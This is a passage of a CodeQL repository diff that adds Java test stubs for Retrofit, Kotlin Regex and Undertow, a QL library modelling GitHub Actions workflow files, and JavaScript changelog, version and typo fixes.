+import kotlin.text.MatchGroupCollection;
+
+public interface MatchResult
+{
+    IntRange getRange();
+    List<String> getGroupValues();
+    MatchGroupCollection getGroups();
+    MatchResult next();
+    MatchResult.Destructured getDestructured();
+    String getValue();
+    static public class Destructured
+    {
+        protected Destructured() {}
+        public Destructured(MatchResult p0){}
+        public final List<String> toList(){ return null; }
+        public final MatchResult getMatch(){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/Regex.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/Regex.java
new file mode 100644
index 00000000000..f587f461b2e
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/Regex.java
@@ -0,0 +1,42 @@
+// Generated automatically from kotlin.text.Regex for testing purposes
+
+package kotlin.text;
+
+import java.io.Serializable;
+import java.util.List;
+import java.util.Set;
+import java.util.regex.Pattern;
+import kotlin.jvm.functions.Function1;
+import kotlin.sequences.Sequence;
+import kotlin.text.MatchResult;
+import kotlin.text.RegexOption;
+
+public class Regex implements Serializable
+{
+    protected Regex() {}
+    public Regex(Pattern p0){}
+    public Regex(String p0){}
+    public Regex(String p0, RegexOption p1){}
+    public Regex(String p0, Set<? extends RegexOption> p1){}
+    public String toString(){ return null; }
+    public final List<String> split(CharSequence p0, int p1){ return null; }
+    public final MatchResult find(CharSequence p0, int p1){ return null; }
+    public final MatchResult matchEntire(CharSequence p0){ return null; }
+    public final Pattern toPattern(){ return null; }
+    public final Sequence<MatchResult> findAll(CharSequence p0, int p1){ return null; }
+    public final Set<RegexOption> getOptions(){ return null; }
+    public final String getPattern(){ return null; }
+    public final String replace(CharSequence p0, Function1<? super MatchResult, ? extends CharSequence> p1){ return null; }
+    public final String replace(CharSequence p0, String p1){ return null; }
+    public final String replaceFirst(CharSequence p0, String p1){ return null; }
+    public final boolean containsMatchIn(CharSequence p0){ return false; }
+    public final boolean matches(CharSequence p0){ return false; }
+    public static Regex.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Regex fromLiteral(String p0){ return null; }
+        public final String escape(String p0){ return null; }
+        public final String escapeReplacement(String p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/RegexOption.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/RegexOption.java
new file mode 100644
index 00000000000..7cc222eb40a
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/RegexOption.java
@@ -0,0 +1,12 @@
+// Generated automatically from kotlin.text.RegexOption for testing purposes
+
+package kotlin.text;
+
+
+public enum RegexOption
+{
+    CANON_EQ, COMMENTS, DOT_MATCHES_ALL, IGNORE_CASE, LITERAL, MULTILINE, UNIX_LINES;
+    private RegexOption() {}
+    public int getMask(){ return 0; }
+    public int getValue(){ return 0; }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Call.java b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Call.java
new file mode 100644
index 00000000000..a341e37ae74
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Call.java
@@ -0,0 +1,20 @@
+// Generated automatically from retrofit2.Call for testing purposes
+
+package retrofit2;
+
+import okhttp3.Request;
+import okio.Timeout;
+import retrofit2.Callback;
+import retrofit2.Response;
+
+public interface Call<T> extends Cloneable
+{
+    Call<T> clone();
+    Request request();
+    Response<T> execute();
+    Timeout timeout();
+    boolean isCanceled();
+    boolean isExecuted();
+    void cancel();
+    void enqueue(Callback<T> p0);
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/retrofit2/CallAdapter.java b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/CallAdapter.java
new file mode 100644
index 00000000000..7c79f2ce004
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/CallAdapter.java
@@ -0,0 +1,22 @@
+// Generated automatically from retrofit2.CallAdapter for testing purposes
+
+package retrofit2;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import retrofit2.Call;
+import retrofit2.Retrofit;
+
+public interface CallAdapter<R, T>
+{
+    T adapt(Call<R> p0);
+    Type responseType();
+    abstract static public class Factory
+    {
+        protected static Class<? extends Object> getRawType(Type p0){ return null; }
+        protected static Type getParameterUpperBound(int p0, ParameterizedType p1){ return null; }
+        public Factory(){}
+        public abstract CallAdapter<? extends Object, ? extends Object> get(Type p0, Annotation[] p1, Retrofit p2);
+    }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Callback.java b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Callback.java
new file mode 100644
index 00000000000..885dc933a0b
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Callback.java
@@ -0,0 +1,12 @@
+// Generated automatically from retrofit2.Callback for testing purposes
+
+package retrofit2;
+
+import retrofit2.Call;
+import retrofit2.Response;
+
+public interface Callback<T>
+{
+    void onFailure(Call<T> p0, Throwable p1);
+    void onResponse(Call<T> p0, Response<T> p1);
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Converter.java b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Converter.java
new file mode 100644
index 00000000000..bc85c5c1015
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Converter.java
@@ -0,0 +1,24 @@
+// Generated automatically from retrofit2.Converter for testing purposes
+
+package retrofit2;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import okhttp3.RequestBody;
+import okhttp3.ResponseBody;
+import retrofit2.Retrofit;
+
+public interface Converter<F, T>
+{
+    T convert(F p0);
+    abstract static public class Factory
+    {
+        protected static Class<? extends Object> getRawType(Type p0){ return null; }
+        protected static Type getParameterUpperBound(int p0, ParameterizedType p1){ return null; }
+        public Converter<? extends Object, RequestBody> requestBodyConverter(Type p0, Annotation[] p1, Annotation[] p2, Retrofit p3){ return null; }
+        public Converter<? extends Object, String> stringConverter(Type p0, Annotation[] p1, Retrofit p2){ return null; }
+        public Converter<ResponseBody, ? extends Object> responseBodyConverter(Type p0, Annotation[] p1, Retrofit p2){ return null; }
+        public Factory(){}
+    }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Response.java b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Response.java
new file mode 100644
index 00000000000..542ce3a3ba8
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Response.java
@@ -0,0 +1,25 @@
+// Generated automatically from retrofit2.Response for testing purposes
+
+package retrofit2;
+
+import okhttp3.Headers;
+import okhttp3.ResponseBody;
+
+public class Response<T>
+{
+    protected Response() {}
+    public Headers headers(){ return null; }
+    public Response raw(){ return null; }
+    public ResponseBody errorBody(){ return null; }
+    public String message(){ return null; }
+    public String toString(){ return null; }
+    public T body(){ return null; }
+    public boolean isSuccessful(){ return false; }
+    public int code(){ return 0; }
+    public static <T> Response<T> error(ResponseBody p0, Response p1){ return null; }
+    public static <T> Response<T> error(int p0, ResponseBody p1){ return null; }
+    public static <T> Response<T> success(T p0){ return null; }
+    public static <T> Response<T> success(T p0, Headers p1){ return null; }
+    public static <T> Response<T> success(T p0, Response p1){ return null; }
+    public static <T> Response<T> success(int p0, T p1){ return null; }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Retrofit.java b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Retrofit.java
new file mode 100644
index 00000000000..9d87826085c
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/retrofit2/Retrofit.java
@@ -0,0 +1,51 @@
+// Generated automatically from retrofit2.Retrofit for testing purposes
+
+package retrofit2;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.net.URL;
+import java.util.List;
+import java.util.concurrent.Executor;
+import okhttp3.Call;
+import okhttp3.HttpUrl;
+import okhttp3.OkHttpClient;
+import okhttp3.RequestBody;
+import okhttp3.ResponseBody;
+import retrofit2.CallAdapter;
+import retrofit2.Converter;
+
+public class Retrofit
+{
+    protected Retrofit() {}
+    public <T> Converter<ResponseBody, T> nextResponseBodyConverter(Converter.Factory p0, Type p1, Annotation[] p2){ return null; }
+    public <T> Converter<ResponseBody, T> responseBodyConverter(Type p0, Annotation[] p1){ return null; }
+    public <T> Converter<T, RequestBody> nextRequestBodyConverter(Converter.Factory p0, Type p1, Annotation[] p2, Annotation[] p3){ return null; }
+    public <T> Converter<T, RequestBody> requestBodyConverter(Type p0, Annotation[] p1, Annotation[] p2){ return null; }
+    public <T> Converter<T, String> stringConverter(Type p0, Annotation[] p1){ return null; }
+    public <T> T create(Class<T> p0){ return null; }
+    public Call.Factory callFactory(){ return null; }
+    public CallAdapter<? extends Object, ? extends Object> callAdapter(Type p0, Annotation[] p1){ return null; }
+    public CallAdapter<? extends Object, ? extends Object> nextCallAdapter(CallAdapter.Factory p0, Type p1, Annotation[] p2){ return null; }
+    public Executor callbackExecutor(){ return null; }
+    public HttpUrl baseUrl(){ return null; }
+    public List<CallAdapter.Factory> callAdapterFactories(){ return null; }
+    public List<Converter.Factory> converterFactories(){ return null; }
+    public Retrofit.Builder newBuilder(){ return null; }
+    static public class Builder
+    {
+        public Builder(){}
+        public List<CallAdapter.Factory> callAdapterFactories(){ return null; }
+        public List<Converter.Factory> converterFactories(){ return null; }
+        public Retrofit build(){ return null; }
+        public Retrofit.Builder addCallAdapterFactory(CallAdapter.Factory p0){ return null; }
+        public Retrofit.Builder addConverterFactory(Converter.Factory p0){ return null; }
+        public Retrofit.Builder baseUrl(HttpUrl p0){ return null; }
+        public Retrofit.Builder baseUrl(String p0){ return null; }
+        public Retrofit.Builder baseUrl(URL p0){ return null; }
+        public Retrofit.Builder callFactory(Call.Factory p0){ return null; }
+        public Retrofit.Builder callbackExecutor(Executor p0){ return null; }
+        public Retrofit.Builder client(OkHttpClient p0){ return null; }
+        public Retrofit.Builder validateEagerly(boolean p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/undertow-io-2.2/io/undertow/server/handlers/resource/FileResourceManager.java b/java/ql/test/stubs/undertow-io-2.2/io/undertow/server/handlers/resource/FileResourceManager.java
new file mode 100644
index 00000000000..815222f2f9f
--- /dev/null
+++ b/java/ql/test/stubs/undertow-io-2.2/io/undertow/server/handlers/resource/FileResourceManager.java
@@ -0,0 +1,31 @@
+package io.undertow.server.handlers.resource;
+
+import java.io.File;
+
+public class FileResourceManager {
+	public FileResourceManager(final File base) {
+	}
+
+	public FileResourceManager(final File base, long transferMinSize) {
+	}
+
+	public FileResourceManager(final File base, long transferMinSize, boolean caseSensitive) {
+	}
+
+	public FileResourceManager(final File base, long transferMinSize, boolean followLinks, final String... safePaths) {
+	}
+
+	protected FileResourceManager(long transferMinSize, boolean caseSensitive, boolean followLinks, final String... safePaths) {
+	}
+
+	public FileResourceManager(final File base, long transferMinSize, boolean caseSensitive, boolean followLinks, final String... safePaths) {
+	}
+
+	public File getBase() {
+		return null;
+	}
+
+	public Resource getResource(final String p) {
+		return null;
+	}
+}
diff --git a/java/ql/test/stubs/undertow-io-2.2/io/undertow/server/handlers/resource/Resource.java b/java/ql/test/stubs/undertow-io-2.2/io/undertow/server/handlers/resource/Resource.java
new file mode 100644
index 00000000000..579e08107c6
--- /dev/null
+++ b/java/ql/test/stubs/undertow-io-2.2/io/undertow/server/handlers/resource/Resource.java
@@ -0,0 +1,33 @@
+package io.undertow.server.handlers.resource;
+
+import java.io.File;
+import java.net.URL;
+import java.nio.file.Path;
+import java.util.Date;
+import java.util.List;
+
+public interface Resource {
+	String getPath();
+
+	Date getLastModified();
+
+	String getLastModifiedString();
+
+	String getName();
+
+	boolean isDirectory();
+
+	List<Resource> list();
+
+	Long getContentLength();
+
+	File getFile();
+
+	Path getFilePath();
+
+	File getResourceManagerRoot();
+
+	Path getResourceManagerRootPath();
+
+	URL getUrl();
+}
diff --git a/javascript/ql/examples/queries/dataflow/BackendIdor/BackendIdor.ql b/javascript/ql/examples/queries/dataflow/BackendIdor/BackendIdor.ql
index 3842475ecf8..322cccd5d2b 100644
--- a/javascript/ql/examples/queries/dataflow/BackendIdor/BackendIdor.ql
+++ b/javascript/ql/examples/queries/dataflow/BackendIdor/BackendIdor.ql
@@ -34,7 +34,7 @@ class IdorTaint extends TaintTracking::Configuration {
 }
 
 /**
- * A sanitizer for values that have succesfully been compared to another value.
+ * A sanitizer for values that have successfully been compared to another value.
  */
 class EqualityGuard extends TaintTracking::SanitizerGuardNode, ValueNode {
   override EqualityTest astNode;
diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md
index 79407b35480..2ffafc074a7 100644
--- a/javascript/ql/lib/CHANGELOG.md
+++ b/javascript/ql/lib/CHANGELOG.md
@@ -1,3 +1,20 @@
+## 0.1.2
+
+### Deprecated APIs
+
+* The `ReflectedXss`, `StoredXss`, `XssThroughDom`, and `ExceptionXss` modules from `Xss.qll` have been deprecated.  
+  Use the `Customizations.qll` file belonging to the query instead.
+
+### Minor Analysis Improvements
+
+* The [cash](https://github.com/fabiospampinato/cash) library is now modelled as an alias for JQuery.  
+  Sinks and sources from cash should now be handled by all XSS queries. 
+* Added the `Selection` api as a DOM text source in the `js/xss-through-dom` query.
+* The security queries now recognize drag and drop data as a source, enabling the queries to flag additional alerts.
+* The security queries now recognize ClipboardEvent function parameters as a source, enabling the queries to flag additional alerts.
+
+## 0.1.1
+
 ## 0.1.0
 
 ### Bug Fixes
diff --git a/javascript/ql/lib/change-notes/2022-04-22-xss-library.md b/javascript/ql/lib/change-notes/2022-04-22-xss-library.md
deleted file mode 100644
index 561fc4f63a3..00000000000
--- a/javascript/ql/lib/change-notes/2022-04-22-xss-library.md
+++ /dev/null
@@ -1,5 +0,0 @@
----
-category: deprecated
----
-* The `ReflectedXss`, `StoredXss`, `XssThroughDom`, and `ExceptionXss` modules from `Xss.qll` have been deprecated.  
-  Use the `Customizations.qll` file belonging to the query instead.
diff --git a/javascript/ql/lib/change-notes/released/0.1.1.md b/javascript/ql/lib/change-notes/released/0.1.1.md
new file mode 100644
index 00000000000..f8f257d7250
--- /dev/null
+++ b/javascript/ql/lib/change-notes/released/0.1.1.md
@@ -0,0 +1 @@
+## 0.1.1
diff --git a/javascript/ql/lib/change-notes/released/0.1.2.md b/javascript/ql/lib/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..3f3e762813a
--- /dev/null
+++ b/javascript/ql/lib/change-notes/released/0.1.2.md
@@ -0,0 +1,14 @@
+## 0.1.2
+
+### Deprecated APIs
+
+* The `ReflectedXss`, `StoredXss`, `XssThroughDom`, and `ExceptionXss` modules from `Xss.qll` have been deprecated.  
+  Use the `Customizations.qll` file belonging to the query instead.
+
+### Minor Analysis Improvements
+
+* The [cash](https://github.com/fabiospampinato/cash) library is now modelled as an alias for JQuery.  
+  Sinks and sources from cash should now be handled by all XSS queries. 
+* Added the `Selection` api as a DOM text source in the `js/xss-through-dom` query.
+* The security queries now recognize drag and drop data as a source, enabling the queries to flag additional alerts.
+* The security queries now recognize ClipboardEvent function parameters as a source, enabling the queries to flag additional alerts.
diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/javascript/ql/lib/codeql-pack.release.yml
+++ b/javascript/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/javascript/ql/lib/javascript.qll b/javascript/ql/lib/javascript.qll
index 75ffa46cf00..53bb91797aa 100644
--- a/javascript/ql/lib/javascript.qll
+++ b/javascript/ql/lib/javascript.qll
@@ -79,7 +79,6 @@ import semmle.javascript.frameworks.ComposedFunctions
 import semmle.javascript.frameworks.Classnames
 import semmle.javascript.frameworks.ClassValidator
 import semmle.javascript.frameworks.ClientRequests
-import semmle.javascript.frameworks.Clipboard
 import semmle.javascript.frameworks.ClosureLibrary
 import semmle.javascript.frameworks.CookieLibraries
 import semmle.javascript.frameworks.Credentials
@@ -88,6 +87,7 @@ import semmle.javascript.frameworks.D3
 import semmle.javascript.frameworks.data.ModelsAsData
 import semmle.javascript.frameworks.DateFunctions
 import semmle.javascript.frameworks.DigitalOcean
+import semmle.javascript.frameworks.DomEvents
 import semmle.javascript.frameworks.Electron
 import semmle.javascript.frameworks.EventEmitter
 import semmle.javascript.frameworks.Files
diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml
index 0d784b3240f..251489bbc73 100644
--- a/javascript/ql/lib/qlpack.yml
+++ b/javascript/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/javascript-all
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: javascript
 dbscheme: semmlecode.javascript.dbscheme
 extractor: javascript
diff --git a/javascript/ql/lib/semmle/javascript/Actions.qll b/javascript/ql/lib/semmle/javascript/Actions.qll
new file mode 100644
index 00000000000..f5b2c39b064
--- /dev/null
+++ b/javascript/ql/lib/semmle/javascript/Actions.qll
@@ -0,0 +1,252 @@
+/**
+ * Libraries for modeling GitHub Actions workflow files written in YAML.
+ * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+ */
+
+import javascript
+
+/**
+ * Libraries for modeling GitHub Actions workflow files written in YAML.
+ * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+ */
+module Actions {
+  /** A YAML node in a GitHub Actions workflow file. */
+  private class Node extends YAMLNode {
+    Node() {
+      this.getLocation()
+          .getFile()
+          .getRelativePath()
+          .regexpMatch("(^|.*/)\\.github/workflows/.*\\.yml$")
+    }
+  }
+
+  /**
+   * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+   */
+  class Workflow extends Node, YAMLDocument, YAMLMapping {
+    /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */
+    YAMLMapping getJobs() { result = this.lookup("jobs") }
+
+    /** Gets the name of the workflow file. */
+    string getFileName() { result = this.getFile().getBaseName() }
+
+    /** Gets the `on:` in this workflow. */
+    On getOn() { result = this.lookup("on") }
+
+    /** Gets the job within this workflow with the given job ID. */
+    Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId }
+  }
+
+  /**
+   * An Actions On trigger within a workflow.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#on.
+   */
+  class On extends YAMLNode, YAMLMappingLikeNode {
+    Workflow workflow;
+
+    On() { workflow.lookup("on") = this }
+
+    /** Gets the workflow that this trigger is in. */
+    Workflow getWorkflow() { result = workflow }
+  }
+
+  /**
+   * An Actions job within a workflow.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs.
+   */
+  class Job extends YAMLNode, YAMLMapping {
+    string jobId;
+    Workflow workflow;
+
+    Job() { this = workflow.getJobs().lookup(jobId) }
+
+    /**
+     * Gets the ID of this job, as a string.
+     * This is the job's key within the `jobs` mapping.
+     */
+    string getId() { result = jobId }
+
+    /**
+     * Gets the ID of this job, as a YAML scalar node.
+     * This is the job's key within the `jobs` mapping.
+     */
+    YAMLString getIdNode() { workflow.getJobs().maps(result, this) }
+
+    /** Gets the human-readable name of this job, if any, as a string. */
+    string getName() { result = this.getNameNode().getValue() }
+
+    /** Gets the human-readable name of this job, if any, as a YAML scalar node. */
+    YAMLString getNameNode() { result = this.lookup("name") }
+
+    /** Gets the step at the given index within this job. */
+    Step getStep(int index) { result.getJob() = this and result.getIndex() = index }
+
+    /** Gets the sequence of `steps` within this job. */
+    YAMLSequence getSteps() { result = this.lookup("steps") }
+
+    /** Gets the workflow this job belongs to. */
+    Workflow getWorkflow() { result = workflow }
+
+    /** Gets the value of the `if` field in this job, if any. */
+    JobIf getIf() { result.getJob() = this }
+  }
+
+  /**
+   * An `if` within a job.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif.
+   */
+  class JobIf extends YAMLNode, YAMLScalar {
+    Job job;
+
+    JobIf() { job.lookup("if") = this }
+
+    /** Gets the step this field belongs to. */
+    Job getJob() { result = job }
+  }
+
+  /**
+   * A step within an Actions job.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps.
+   */
+  class Step extends YAMLNode, YAMLMapping {
+    int index;
+    Job job;
+
+    Step() { this = job.getSteps().getElement(index) }
+
+    /** Gets the 0-based position of this step within the sequence of `steps`. */
+    int getIndex() { result = index }
+
+    /** Gets the job this step belongs to. */
+    Job getJob() { result = job }
+
+    /** Gets the value of the `uses` field in this step, if any. */
+    Uses getUses() { result.getStep() = this }
+
+    /** Gets the value of the `run` field in this step, if any. */
+    Run getRun() { result.getStep() = this }
+
+    /** Gets the value of the `if` field in this step, if any. */
+    StepIf getIf() { result.getStep() = this }
+  }
+
+  /**
+   * An `if` within a step.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif.
+   */
+  class StepIf extends YAMLNode, YAMLScalar {
+    Step step;
+
+    StepIf() { step.lookup("if") = this }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+  }
+
+  /**
+   * Gets a regular expression that parses an `owner/repo@version` reference within a `uses` field in an Actions job step.
+   * The capture groups are:
+   * 1: The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`
+   * 2: The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`.
+   * 3: The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`.
+   */
+  private string usesParser() { result = "([^/]+)/([^/@]+)@(.+)" }
+
+  /**
+   * A `uses` field within an Actions job step, which references an action as a reusable unit of code.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses.
+   *
+   * For example:
+   * ```
+   * uses: actions/checkout@v2
+   * ```
+   *
+   * Does not handle local repository references, e.g. `.github/actions/action-name`.
+   */
+  class Uses extends YAMLNode, YAMLScalar {
+    Step step;
+
+    Uses() { step.lookup("uses") = this }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+
+    /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */
+    string getGitHubRepository() {
+      result =
+        this.getValue().regexpCapture(usesParser(), 1) + "/" +
+          this.getValue().regexpCapture(usesParser(), 2)
+    }
+
+    /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
+    string getVersion() { result = this.getValue().regexpCapture(usesParser(), 3) }
+  }
+
+  /**
+   * A `with` field within an Actions job step, which references an action as a reusable unit of code.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith.
+   *
+   * For example:
+   * ```
+   * with:
+   *   arg1: 1
+   *   arg2: abc
+   * ```
+   */
+  class With extends YAMLNode, YAMLMapping {
+    Step step;
+
+    With() { step.lookup("with") = this }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+  }
+
+  /**
+   * A `ref:` field within an Actions `with:` specific to `actions/checkout` action.
+   *
+   * For example:
+   * ```
+   * uses: actions/checkout@v2
+   * with:
+   *   ref: ${{ github.event.pull_request.head.sha }}
+   * ```
+   */
+  class Ref extends YAMLNode, YAMLString {
+    With with;
+
+    Ref() { with.lookup("ref") = this }
+
+    /** Gets the `with` field this field belongs to. */
+    With getWith() { result = with }
+  }
+
+  /**
+   * A `run` field within an Actions job step, which runs command-line programs using an operating system shell.
+   * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun.
+   */
+  class Run extends YAMLNode, YAMLString {
+    Step step;
+
+    Run() { step.lookup("run") = this }
+
+    /** Gets the step that executes this `run` command. */
+    Step getStep() { result = step }
+
+    /**
+     * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command.
+     * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions.
+     * Only finds simple expressions like `${{ github.event.comment.body }}`, where the expression contains only alphanumeric characters, underscores, dots, or dashes.
+     * Does not identify more complicated expressions like `${{ fromJSON(env.time) }}`, or ${{ format('{{Hello {0}!}}', github.event.head_commit.author.name) }}
+     */
+    string getASimpleReferenceExpression() {
+      // We use `regexpFind` to obtain *all* matches of `${{...}}`,
+      // not just the last (greedy match) or first (reluctant match).
+      result =
+        this.getValue()
+            .regexpFind("\\$\\{\\{\\s*[A-Za-z0-9_\\.\\-]+\\s*\\}\\}", _, _)
+            .regexpCapture("\\$\\{\\{\\s*([A-Za-z0-9_\\.\\-]+)\\s*\\}\\}", 1)
+    }
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/DefUse.qll b/javascript/ql/lib/semmle/javascript/DefUse.qll
index a36c682d766..e603c5b9112 100644
--- a/javascript/ql/lib/semmle/javascript/DefUse.qll
+++ b/javascript/ql/lib/semmle/javascript/DefUse.qll
@@ -8,7 +8,7 @@ import javascript
  * This predicate covers four kinds of definitions:
  *
  * <table border="1">
- * <tr><th>Example<th><code>def</code><th><code>lhs</code><th><code>rhs</code></tr>
+ * <tr><th>Example</th><th><code>def</code></th><th><code>lhs</code></th><th><code>rhs</code></th></tr>
  * <tr><td><code>x = y</code><td><code>x = y</code><td><code>x</code><td><code>y</code></tr>
  * <tr><td><code>var a = b</code><td><code>var a = b</code><td><code>a</code><td><code>b</code></tr>
  * <tr><td><code>function f { ... }</code><td><code>f</code><td><code>f</code><td><code>function f { ... }</code></tr>
@@ -56,7 +56,7 @@ private predicate defn(ControlFlowNode def, Expr lhs, AST::ValueNode rhs) {
  * where there is no explicit right hand side:
  *
  * <table border="1">
- * <tr><th>Example<th><code>def</code><th><code>lhs</code></tr>
+ * <tr><th>Example</th><th><code>def</code></th><th><code>lhs</code></th></tr>
  * <tr><td><code>x += y</code><td><code>x += y</code><td><code>x</code></tr>
  * <tr><td><code>++z.q</code><td><code>++z.q</code><td><code>z.q</code></tr>
  * <tr><td><code>import { a as b } from 'm'</code><td><code>a as b</code><td><code>b</code></tr>
diff --git a/javascript/ql/lib/semmle/javascript/ES2015Modules.qll b/javascript/ql/lib/semmle/javascript/ES2015Modules.qll
index 7ee6311393b..6e1be383362 100644
--- a/javascript/ql/lib/semmle/javascript/ES2015Modules.qll
+++ b/javascript/ql/lib/semmle/javascript/ES2015Modules.qll
@@ -68,7 +68,7 @@ private predicate hasDefaultExport(ES2015Module mod) {
  * Holds if `mod` contains both named and `default` exports.
  *
  * This is used to determine whether a default-import of the module should be reinterpreted
- * as a namespace-import, to accomodate the non-standard behavior implemented by some compilers.
+ * as a namespace-import, to accommodate the non-standard behavior implemented by some compilers.
  */
 private predicate hasBothNamedAndDefaultExports(ES2015Module mod) {
   hasNamedExports(mod) and
@@ -615,7 +615,7 @@ class ReExportDefaultSpecifier extends ExportDefaultSpecifier {
 }
 
 /**
- * A namespace export specifier, that is `*` or `* as x` occuring in an export declaration.
+ * A namespace export specifier, that is `*` or `* as x` occurring in an export declaration.
  *
  * Examples:
  *
diff --git a/javascript/ql/lib/semmle/javascript/Expr.qll b/javascript/ql/lib/semmle/javascript/Expr.qll
index 69dbdd11451..7db74458bdf 100644
--- a/javascript/ql/lib/semmle/javascript/Expr.qll
+++ b/javascript/ql/lib/semmle/javascript/Expr.qll
@@ -2286,9 +2286,7 @@ class ComprehensionExpr extends @comprehension_expr, Expr {
 
   /** Holds if this is a legacy postfix comprehension expression. */
   predicate isPostfix() {
-    exists(Token tk | tk = this.getFirstToken().getNextToken() |
-      not tk.getValue().regexpMatch("if|for")
-    )
+    exists(Token tk | tk = this.getFirstToken().getNextToken() | not tk.getValue() = ["if", "for"])
   }
 
   override string getAPrimaryQlClass() { result = "ComprehensionExpr" }
@@ -2904,7 +2902,7 @@ class ImportMetaExpr extends @import_meta_expr, Expr {
  * let data2 = {{{ user_data2 }}};
  * ```
  *
- * Note that templating placeholders occuring inside strings literals are not parsed,
+ * Note that templating placeholders occurring inside strings literals are not parsed,
  * and are simply seen as being part of the string literal.
  * For example, following snippet does not contain any `GeneratedCodeExpr` nodes:
  * ```js
diff --git a/javascript/ql/lib/semmle/javascript/Externs.qll b/javascript/ql/lib/semmle/javascript/Externs.qll
index 157b4b3f4cf..9787de6f464 100644
--- a/javascript/ql/lib/semmle/javascript/Externs.qll
+++ b/javascript/ql/lib/semmle/javascript/Externs.qll
@@ -53,7 +53,7 @@ import javascript
  *
  * /**
  *  * @param {!Object} obj
- *  * @return {!Array<string>}
+ *  * @return {!Array&lt;string&gt;}
  *  *&#47;
  * Object.keys = function(obj) {};
  *
@@ -109,7 +109,7 @@ class ExternalTypedef extends ExternalDecl, VariableDeclarator {
  *
  * /**
  *  * @param {!Object} obj
- *  * @return {!Array<string>}
+ *  * @return {!Array&lt;string&gt;}
  *  *&#47;
  * Object.keys = function(obj) {};
  *
@@ -214,7 +214,7 @@ class ExternalGlobalVarDecl extends ExternalGlobalDecl, VariableDeclarator {
  * <pre>
  * /**
  *  * @param {!Object} obj
- *  * @return {!Array<string>}
+ *  * @return {!Array&lt;string&gt;}
  *  *&#47;
  * Object.keys = function(obj) {};
  *
@@ -273,7 +273,7 @@ class ExternalMemberDecl extends ExternalVarDecl, ExprStmt {
  * <pre>
  * /**
  *  * @param {!Object} obj
- *  * @return {!Array<string>}
+ *  * @return {!Array&lt;string&gt;}
  *  *&#47;
  * Object.keys = function(obj) {};
  *
diff --git a/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll b/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll
